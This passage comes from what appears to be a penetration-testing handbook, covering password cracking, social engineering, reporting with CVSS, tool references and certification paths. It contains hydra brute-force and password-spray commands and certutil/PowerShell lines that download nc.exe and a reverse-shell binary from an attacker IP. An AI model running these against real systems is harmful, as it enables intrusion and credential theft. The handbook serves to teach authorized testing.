john --wordlist=rockyou.txt unshadowed.txt
# Force a format (when auto-detection fails)
john --format=Raw-MD5 --wordlist=rockyou.txt hash.txt
# SSH
hydra -l admin -P rockyou.txt ssh://10.10.10.5 -t 4 -f
# HTTP POST form — failure hint with "F="
hydra -l admin -P rockyou.txt 10.10.10.5 \
http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
# RDP and FTP
hydra -l administrator -P rockyou.txt rdp://10.10.10.5
hydra -L users.txt -P pass.txt ftp://10.10.10.5
# Password spray (one password, many users)
hydra -L users.txt -p 'Spring2024!' smb://10.10.10.5 -t 1
Lockout Risk
Always ask about account lockout policy before brute forcing. If spraying without rate limits, accounts lock out and business processes stop — use few attempts with long intervals.
Wordlist Strategy
# Classic sources
ls /usr/share/wordlists/rockyou.txt
git clone https://github.com/danielmiessler/SecLists
# Target-specific wordlist — harvest words from the website
cewl -d 3 -m 6 https://target.com -w target_words.txt
# Pattern-based generation
crunch 8 12 abcdefgh -o pattern.txt
# Combination: company name + year + symbol
cewl https://target.com | hashcat -r rules/best64.rule --stdout > custom.txt
Target-specific wins: company name, product names and employee first names + year patterns (target2024!) crack at high rates
For region-specific targets, include localized character variations and popular local password lists
Choose wordlists by category: default credentials, common passwords, policy-compliant lists
Archives, Stego and Embedded Secrets
Not every secret sits in a hash file. Encrypted ZIP/RAR/7z archives, GPP passwords baked into Group Policy XML, credentials embedded in images and files hidden inside other files all fall to the same small toolbox. Identify what you actually have, then pick the matching extractor.
# Extraction basics
tar -xvf file.tar # plain tar
tar -xvzf file.tar.gz # gzip
tar -xvjf file.tar.bz2 # bzip2
unzip file.zip
unrar x file.rar
# Encrypted ZIP — fcrackzip (dictionary)
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup.zip
# Any archive via john
zip2john backup.zip > zip.hash
rar2john backup.rar > rar.hash
john zip.hash -w=/usr/share/wordlists/rockyou.txt
# Same targets in hashcat (13600=ZIP, 12500=RAR3, 11600=7z)
hashcat -m 13600 zip.hash /usr/share/wordlists/rockyou.txt
# Embedded files in any binary
binwalk -Me file.png
# Readable strings — try both encodings
strings test.exe
strings -e l test.exe # UTF-16LE (Windows binaries)
# Steghide for images with a passphrase
steghide extract -sf image.jpg
steghide extract -sf image.jpg -p passphrase
# Metadata sweep
exiftool -a -u document.pdf
# GPP password — decrypt the cpassword field from Groups.xml
gpp-decrypt eHOwhdfgZLTjt/Qadfsgsdfglksdfglsdkfgdf+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
Encodings Are Not Encryption
Before cracking anything, check for trivial encoding: echo cGFzc3dvcmQ= | base64 -d has ended more engagements than hashcat. Hex (xxd -r), URL encoding and ROT13 belong to the same first-pass checklist.
09
Social Engineering
The human factor: phishing types, simulations and defense
Attack Types
No matter how solid the technical defenses are, the human factor remains the least predictable component. Social engineering tests are the only way to measure security culture with data and to base awareness training on evidence. The types below are evaluated separately in engagement reports.
Phishing: mass email attack, typically with a fake login page or malicious attachment
Spear phishing: a tailored, highly persuasive email aimed at a specific individual
Vishing / Smishing: voice call and SMS fraud; the IT support role is a classic
Baiting: infected USB drives left in public areas; curiosity is the oldest hook
Tailgating / Pretexting: physical intrusion and impersonation; courier and technician scenarios
Waterhole: compromising a website the target group visits regularly
Impact Simulation
In red team scenarios a phishing infrastructure is built: lookalike domain registration, SPF/DKIM/DMARC checks, email templates and a credential capture page. Every step before sending must be tied to a client-approved plan. The goal is not to harvest passwords — it is to measure click rates and reporting culture.
GoPhish: open-source phishing platform with campaign tracking and metric reports
SET (Social-Engineer Toolkit): rapid scenario building; use in lab environments for training
Collected data must be encrypted, real credentials must not be stored, and all data destroyed at engagement end
Report results by department and rate, never by individual
The Ethical Line
Phishing simulations must run only with written authorization, on isolated infrastructure, within a defined scope. In campaigns targeting real employees, learning — not scaring — is the objective.
Defense and Awareness
The value of the test is realized only when findings become defenses. Your report should present organizational improvements with concrete recommendations, not just click rates. A strong findings section states which department was targeted and why, and which topics the training content must cover.
MFA everywhere: especially on VPN, email and administrative accounts, with conditional access
Awareness training: recurring, scenario-based and metric-driven; micro-training right after a click
Reporting culture: build a process where the employee who reports a suspicious email is recognized
Physical controls: badge discipline, visitor cards and USB port policies
10
Reporting & CVSS
Turn findings into impact: report anatomy and risk scoring
Anatomy of a Report
The report is the only lasting deliverable of an engagement, and the reason clients come back. It has two audiences: executives (summary and risk) and technical teams (evidence and remediation). The structure below serves both needs in sequence.
01
Executive Summary
The overall risk picture without technical jargon; the three most critical findings and their business impact.
02
Scope & Methodology
Assets tested, date range, methodology used and limitations encountered.
03
Findings (Risk-Ordered)
Each finding: title, risk, CVSS score, affected assets and a short description.
04
Technical Details
PoC request/response pairs, screenshots and a step-by-step reproduction path.
05
Remediation Guidance
Short-term (patching/configuration) and long-term (process/architecture) actions.
06
Appendices
Scan inventories, tool lists and assets excluded from scope.
CVSS v3.1 Scoring
CVSS (Common Vulnerability Scoring System) lets you rate findings in a common language. The base metric group has eight criteria and produces a 0.0-10.0 score. Scoring keeps reports consistent, but it does not replace business context — a high-scored finding with no function on the target may still be low risk.
Metric
Values
Meaning
AV (Attack Vector)
N / A / L / P
Network, Adjacent, Local, Physical
AC (Complexity)
L / H
Low / high attack complexity
PR (Privileges)
N / L / H
Privileges required: none / low / high
UI (Interaction)
N / R
User interaction required or not
S (Scope)
U / C
Does impact cross components
C / I / A
H / L / N
Confidentiality, Integrity, Availability impact
Score Range
Severity
Suggested Response Time
9.0 - 10.0
Critical
Patch within 24-72 hours
7.0 - 8.9
High
Within 1-2 weeks
4.0 - 6.9
Medium
Planned within 30-90 days
0.1 - 3.9
Low
Next maintenance window
How to Write a Good Finding
A good finding lets the reading engineer reproduce the issue in ten minutes and fix it in ten minutes. Idle payloads and vague phrases like "data may leak" erode trust in the report; every claim must carry evidence.
Title: describes the issue in one sentence — "Category ID returned without ownership check (IDOR)"
Evidence: request/response pair or screenshot; mask sensitive values
Impact scenario: written concretely — "if an attacker does X, the business consequence is Y"
Remediation: be specific — not "fix at code level" but "add object ownership verification, switch to UUIDs"
References: CWE number, OWASP category and current documentation links
The Pre-Send Checklist
Before submitting, ask three questions: Does an executive understand the summary? Can an engineer reproduce every finding? Does every finding have a measurable fix? Three yeses mean the report is ready.
11
Tool Reference
Tooling by phase: which instrument to reach for, and when
Tool Inventory by Phase
Knowing the tooling is a prerequisite for managing your time. The tables below summarize the standard toolkit for each phase along with what the tool is best at. Read the README of every tool; the most popular tools are also the most misconfigured ones.
Phase
Tool
Purpose
Recon
amass / subfinder
Subdomain discovery (deep / fast)
Recon
theHarvester
Email, host and personnel collection
Recon
httpx / nuclei
Live host validation / template-based scanning
Network
nmap
Port scanning, service and NSE discovery
Network
Wireshark / tcpdump
Packet analysis and protocol review
Web
Burp Suite
The heart of manual web testing: proxy, repeater, intruder
Web
ffuf / gobuster
Directory, parameter and vhost discovery
Web
sqlmap
Automated SQL injection
Exploitation
Metasploit
Exploit modules, payloads and post-exp framework
Exploitation
Impacket
SMB/WMI/psexec — Windows lateral movement
AD
BloodHound
Visualizing Active Directory attack paths
AD
CrackMapExec
Bulk authentication over SMB/WinRM/LDAP
Post-Exp
linpeas / winpeas
Automated privesc checks
Post-Exp
mimikatz
Windows credential extraction
Post-Exp
chisel / Ligolo-ng
Tunneling and pivoting
Passwords
hashcat / john
GPU/CPU hash cracking
Passwords
hydra
Service brute force
Wireless
aircrack-ng / hcxtools
WPA2/3 capture and cracking
Field Utilities: Search, Transfer, Compile
These are the small commands that make the difference between flowing work and constant friction: finding files on an unfamiliar host, moving payloads both directions across operating systems, compiling public exploits for 32-bit Windows, and getting a broken shell to behave. None of them are glamorous — all of them are used daily.
# Linux
find / -name "known_file" 2>/dev/null
locate example.txt
find / -writable -type d 2>/dev/null # writable directories
# Windows (PowerShell)
Get-ChildItem -Path C:\ -Recurse -Filter "known_file" \
-ErrorAction SilentlyContinue
# Search file contents for secrets
Get-Content fileMonitorBackup.log | Select-String -Pattern "NTLM"
grep -n "crash" enum.txt # match with line numbers
# Kali — serve over HTTP / SMB
python3 -m http.server 8000
impacket-smbserver share . -smb2support -u burak -p 'Password1'
# Windows — download side
certutil -urlcache -f http://10.10.14.5:8000/winpeas.exe winpeas.exe
certutil -urlcache -split -f http://10.10.14.5:5555/MS10-059.exe MS10-059.exe
powershell iwr -uri http://10.10.14.5:8000/nc.exe -OutFile nc.exe
powershell -c "(new-object System.Net.WebClient).DownloadFile(\
'http://10.10.14.5:8000/reverse.exe','C:\Users\Public\reverse.exe')"
copy \10.10.14.5\share\nc.exe C:\Temp\nc.exe
# Windows — back to Kali over SCP (when putty-tools are installed)
pscp [email protected]:C:/Users/Administrator/loot.zip .
# Native Linux
gcc exploit.c -o exploit
# Windows PE from Linux — 64-bit
x86_64-w64-mingw32-g++ exploit.cpp -o exploit.exe
# 32-bit Windows (common for old kernel exploits)
i686-w64-mingw32-gcc 40444.c -o exploit32.exe -lws2_32
# Upgrade to a full TTY (Python target)
python3 -c 'import pty; pty.spawn("/bin/bash")'
script /dev/null -c bash
# Windows CMD with a broken PATH
set PATH=%PATH%;C:\Windows\System32;C:\Windows\System32\WindowsPowerShell\v1.0;
# Enable color output in legacy CMD
REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 /f
Useful Tool Paths on Kali
mimikatz: /usr/share/windows-resources/mimikatz/x64 — nc.exe: /usr/share/windows-resources/binaries — php-reverse-shell: /usr/share/webshells/php — winPEAS/linPEAS: /usr/share/peass. Knowing the paths beats downloading under pressure.
The Core Three
It is easy to get lost among hundreds of tools. Mastering three tools deeply is worth more than switching between thirty. These three appear in every engagement report and are the tools whose depth interviewers probe.
Burp Suite: defines your manual web testing skill; start with the Community edition and memorize the shortcuts (Ctrl+R repeater, Ctrl+I intruder)
nmap: what matters is not memorizing flags but knowing which scan fits which scenario
BloodHound: the visual answer to "the shortest path to SYSTEM" in AD environments; learn it together with the SharpHound collector
Keep Tooling Current
On Kali Linux run apt update && apt full-upgrade regularly. Outdated exploit modules and scanning scripts produce wrong results — and that directly affects the credibility of your report.
12
Learning Path & Certifications
A roadmap from beginner to OSCP: platforms, certificates and ethics
The Roadmap
Learning offensive security is not a linear course; it is a cumulative practice. The roadmap below reflects the sequence the community converges on: solidify fundamentals, accelerate with lab practice, then prove yourself with certifications.
TryHackMe easy→medium rooms, Kali tooling, first CTFs, fundamental web vulnerabilities on PortSwigger Academy.
03
Depth (9-18 months)
HackTheBox machines, Active Directory attacks, report writing practice, first certifications (eJPT/PNPT).
04
Mastery (18+ months)
OSCP preparation, red team scenarios, automation and custom exploit development, community contribution.
Certifications
Certifications are a practical way to validate knowledge and to pass HR filters on your resume. But none of them replace hands-on practice: "certificate + lab practice + report writing" is the trio that carries value together.
Certificate
Vendor
Focus
Level
eJPT
INE Security
Entry-level hands-on pentesting
Beginner
PNPT
TCM Security
Practical testing + realistic reporting
Intermediate
OSCP
Offensive Security
24-hour exam; industry standard
Advanced
CRTP
TCM Security
Active Directory attacks
Advanced
OSEP
Offensive Security
Evasion and advanced exploitation
Expert
Practice Platforms
Platform
Type
Where to Start
TryHackMe
Guided labs
Learning paths → Pre-Security
HackTheBox
Independent machines
Easy machines + walkthroughs
PortSwigger Academy
Web vulnerabilities
SQLi and XSS sections
VulnHub
Downloadable VMs
The Kioptrix series
picoCTF
CTF
Beginner-friendly challenges
Let's Defend
Blue team
SOC analyst practice
Write your own walkthrough after every machine — it is both a portfolio and a review method
When stuck, wait at least an hour before opening a solution video; your brain does the learning in that gap
Winning CTFs is not the same as real pentesting: do not neglect report writing and communication practice
Ethics and Responsibility
Every technique in this book must be used only in environments where you have written permission, for education and authorized assessment. Build your own lab (VulnHub, HTB), never interact with systems you are not authorized to touch, and apply what you learn to strengthen the defensive side. In this community, a good reputation is worth as much as any certificate.
Legal Reminder
Unauthorized access to systems is a crime in virtually every jurisdiction. To report a vulnerability you discovered, follow the responsible disclosure process.
13
Resources & References
The references worth keeping a tab open for while you work an engagement.
No matches for “”. Try a tool name, a bug class, or a payload fragment.
Scope & authorization. Everything here is for penetration testing and security research you are explicitly authorized to perform — engagements under contract, your own lab, and bug bounty programs within their stated scope. Running these against systems you don't own or have written permission to test is illegal. Stay in scope, log your actions, and report responsibly.
Social Engineering
The human factor: phishing types, simulations and defense
Attack Types
No matter how solid the technical defenses are, the human factor remains the least predictable component. Social engineering tests are the only way to measure security culture with data and to base awareness training on evidence. The types below are evaluated separately in engagement reports.
Impact Simulation
In red team scenarios a phishing infrastructure is built: lookalike domain registration, SPF/DKIM/DMARC checks, email templates and a credential capture page. Every step before sending must be tied to a client-approved plan. The goal is not to harvest passwords — it is to measure click rates and reporting culture.
Phishing simulations must run only with written authorization, on isolated infrastructure, within a defined scope. In campaigns targeting real employees, learning — not scaring — is the objective.
Defense and Awareness
The value of the test is realized only when findings become defenses. Your report should present organizational improvements with concrete recommendations, not just click rates. A strong findings section states which department was targeted and why, and which topics the training content must cover.